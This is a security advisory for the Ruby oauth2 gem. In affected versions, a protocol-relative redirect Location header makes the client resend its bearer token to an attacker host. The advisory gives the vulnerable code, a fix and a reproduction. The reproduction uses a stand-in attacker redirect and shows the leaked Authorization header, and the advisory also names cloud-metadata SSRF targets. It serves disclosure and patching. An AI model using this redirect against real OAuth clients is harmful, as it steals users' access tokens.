VDB
KO
HIGH 8.6

GHSA-pp92-crg2-gfv9

OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host

Quick fix

GHSA-pp92-crg2-gfv9 — oauth2: upgrade to the fixed version with the command below.

bundle update oauth2

Details

## Summary

When an application uses `OAuth2::Client` (typically via an `OAuth2::AccessToken`) and the configured authorization server returns a redirect whose `Location` header is a protocol-relative URI of the form `//attacker.example/leak`, `OAuth2::Client#request` resolves the redirect with `response.response.env.url.merge(location)`. Per RFC 3986 §5.2, an input that starts with `//` is a network-path reference and replaces the authority of the base URL: `URI("http://idp.trusted/userinfo").merge("//attacker.example/leak")` returns `http://attacker.example/leak`. The recursive `request(verb, full_location, req_opts)` call then re-sends the request to the attacker host while preserving the `Authorization: Bearer <access-token>` header that `OAuth2::AccessToken#configure_authentication!` installed on `req_opts[:headers]` for the original request.

The result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the `Location` it emits) can extract the bearer access token of the calling user.

## Affected

- `oauth2` v2.0.21 and all prior versions back to and including v0.4.0. - The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73 - The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in `OAuth2::Client#request` since v2.0.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73 - Ruby 4.0.5 on `arm64-darwin25`. The behaviour of `URI#merge` for protocol-relative inputs is RFC-conformant and the same on every supported Ruby (≥ 2.x). - Adapter independence: confirmed against the default `faraday` 2.14.2 + `faraday-net_http` 3.4.3 stack. The `URI#merge` call is in `oauth2` itself, not in Faraday, so the issue is not adapter-specific.

## Impact

A consumer that uses `OAuth2::AccessToken#get` / `#post` / `#request` against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:

1. **Cross-origin credential disclosure.** The connection-scoped `Authorization: Bearer <token>` header attached by `OAuth2::AccessToken#configure_authentication!` is sent to the attacker host on the very next request, with no second user interaction. 2. **SSRF from the application server.** The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses — useful for hitting internal addresses (`//169.254.169.254/...`, `//127.0.0.1:.../...`) that the application server can reach but the attacker cannot.

The combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no `Location: http://attacker/...` is needed — the protocol-relative `//attacker/x` form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.

## Vulnerable code

[`lib/oauth2/client.rb#L146-L182`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/client.rb#L146-L182) at commit `e2d509705db6091c8d5f27c31e29c58e39e51c7c` (tag `v2.0.20`):

```ruby def request(verb, url, req_opts = {}, &block) response = execute_request(verb, url, req_opts, &block) status = response.status

case status when 301, 302, 303, 307 req_opts[:redirect_count] ||= 0 req_opts[:redirect_count] += 1 return response if req_opts[:redirect_count] > options[:max_redirects]

if status == 303 verb = :get req_opts.delete(:body) end location = response.headers["location"] if location full_location = response.response.env.url.merge(location) # <-- protocol-relative input replaces authority request(verb, full_location, req_opts) # ... ```

`response.response.env.url` is the resolved URL of the prior request (always absolute, since Faraday's `build_exclusive_url` produces an absolute URI). `location` is the raw `Location` response header, with no validation. `URI#merge` follows RFC 3986 §5.2 and treats `//host/path` as a network-path reference, dropping the base authority and adopting the input's host. The recursive `request(verb, full_location, req_opts)` then re-enters with `req_opts` unchanged, which means any `Authorization` header that `OAuth2::AccessToken#configure_authentication!` placed in `req_opts[:headers]` for the original request travels with the redirected request to the attacker-controlled host.

The credential plumbing is at [`lib/oauth2/access_token.rb#L376-L408`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/access_token.rb#L376-L408):

```ruby def configure_authentication!(opts, verb) # ... case mode when :header opts[:headers] ||= {} opts[:headers].merge!(headers) # ... end

def headers {"Authorization" => options[:header_format] % token} end ```

The default token mode is `:header`, so every `AccessToken#get` / `#post` / `#request` call attaches `Authorization: Bearer <token>` to `req_opts[:headers]`. That same dictionary is then forwarded verbatim into the redirected request, because `Client#request` does not inspect or strip `req_opts[:headers]` when the redirect crosses origins.

## Reachable in production

The vulnerable path is the documented `AccessToken#get` / `AccessToken#post` flow that every `oauth2` integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to `options[:max_redirects]` hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative `Location` header is enough to redirect the next request to an attacker host with the bearer token attached.

Realistic upstream triggers:

1. **Open redirect on the IdP.** Many authorization servers expose endpoints that emit `Location` based on user input (for example logout flows, `redirect_uri` echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant `//attacker.example/leak` as the redirect target and induce the oauth2 client to follow it. 2. **Tenant-controlled IdP.** Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via `OAuth2::Client.new(... , site: tenant_supplied_url)` allows a malicious tenant to set `site:` to its own server and emit the protocol-relative `Location` directly. 3. **Compromised or downgraded IdP.** A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.

In all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.

## Reproduction

The issue can be reproduced with a client using the default bearer-token header mode against an `oauth2` version before `2.0.22`.

Minimal setup:

```ruby require "oauth2"

client = OAuth2::Client.new( "client-id", "client-secret", site: "http://idp.example.test" )

token = OAuth2::AccessToken.new(client, "SECRET-BEARER-TOKEN") token.get("/userinfo") ```

If the configured authorization/resource server responds to that request with a redirect such as:

```http HTTP/1.1 302 Found Location: //attacker.example.test/leak Content-Length: 0 ```

then vulnerable versions resolve the protocol-relative `Location` as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because `OAuth2::AccessToken` uses `Authorization: Bearer <token>` by default, the next request is sent to the attacker-controlled host with the bearer token attached:

```http GET /leak HTTP/1.1 Host: attacker.example.test Authorization: Bearer SECRET-BEARER-TOKEN ```

This requires no special Faraday adapter behavior. The vulnerable redirect handling is in `OAuth2::Client#request`; the attacker-controlled input is the raw `Location` header value from a 30x response.

### Patched-build verification

Monkey-patch `OAuth2::Client#request` so that protocol-relative `Location` values are forced down the relative-path branch of `URI#merge` by prepending `./`. Re-run the attack against the same `poc_collector.rb` instance.

```ruby module OAuth2 class Client def request(verb, url, req_opts = {}, &block) response = execute_request(verb, url, req_opts, &block) status = response.status case status when 301, 302, 303, 307 req_opts[:redirect_count] ||= 0 req_opts[:redirect_count] += 1 return response if req_opts[:redirect_count] > options[:max_redirects] verb = :get and req_opts.delete(:body) if status == 303 location = response.headers["location"] if location # PATCH: neutralise protocol-relative location before URI#merge. safe_location = location.start_with?("//") ? "./#{location}" : location full_location = response.response.env.url.merge(safe_location) request(verb, full_location, req_opts) else raise(Error.new(response), "Got #{status} status code, but no Location header was present") end # ... unchanged fallthrough ... end end end end ```

After applying the patch, the same `token.get("/userinfo")` call resolves the attack `Location: //127.0.0.1:4568/leak` to `http://127.0.0.1:4567/127.0.0.1:4568/leak` — same host as the IdP — and `:4568` never receives the bearer token. The IdP redirect loop trips `max_redirects` and the helper returns `status: 302` to the caller with no off-host request. Collector log after the patched run shows `:4568` LEAK count unchanged from the negative control:

```text [idp:4567] hit req_line=GET /userinfo HTTP/1.1 auth="Bearer SECRET-BEARER-XYZZY" [idp:4567] hit req_line=GET ///127.0.0.1:4568/leak HTTP/1.1 auth="Bearer SECRET-BEARER-XYZZY" [idp:4567] hit req_line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1 auth="Bearer SECRET-BEARER-XYZZY" ```

All hops stay on `127.0.0.1:4567`. The bearer token never leaves the IdP.

## Suggested fix

Treat protocol-relative `Location` values as relative paths when resolving against the prior request URL. The smallest local fix is the `./` prefix used in `Faraday::Connection#build_exclusive_url` for the same primitive (see lines 485-488 of `faraday/lib/faraday/connection.rb`):

```ruby location = response.headers["location"] if location # Force protocol-relative inputs to be interpreted as relative paths so they # cannot override the base authority via RFC 3986 §5.2 network-path reference. safe_location = location.respond_to?(:start_with?) && location.start_with?("//") \ ? "./#{location}" : location full_location = response.response.env.url.merge(safe_location) request(verb, full_location, req_opts) ```

A defence-in-depth follow-up is to also strip credential-bearing headers (`Authorization`, plus any custom headers configured via `header_format`) from `req_opts[:headers]` when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in `lib/mechanize/http/agent.rb#L1068-L1077`. That additional check protects against the orthogonal case where an attacker controls an absolute `Location: http://attacker.example/...` value on a same-host open-redirect endpoint.

## Credit

Reported by tonghuaroot.

Are you affected?

Enter the version of the package you're using.

Affected packages

RubyGems / oauth2
Introduced in: 0.4.0 Fixed in: 2.0.22
Fix bundle update oauth2

References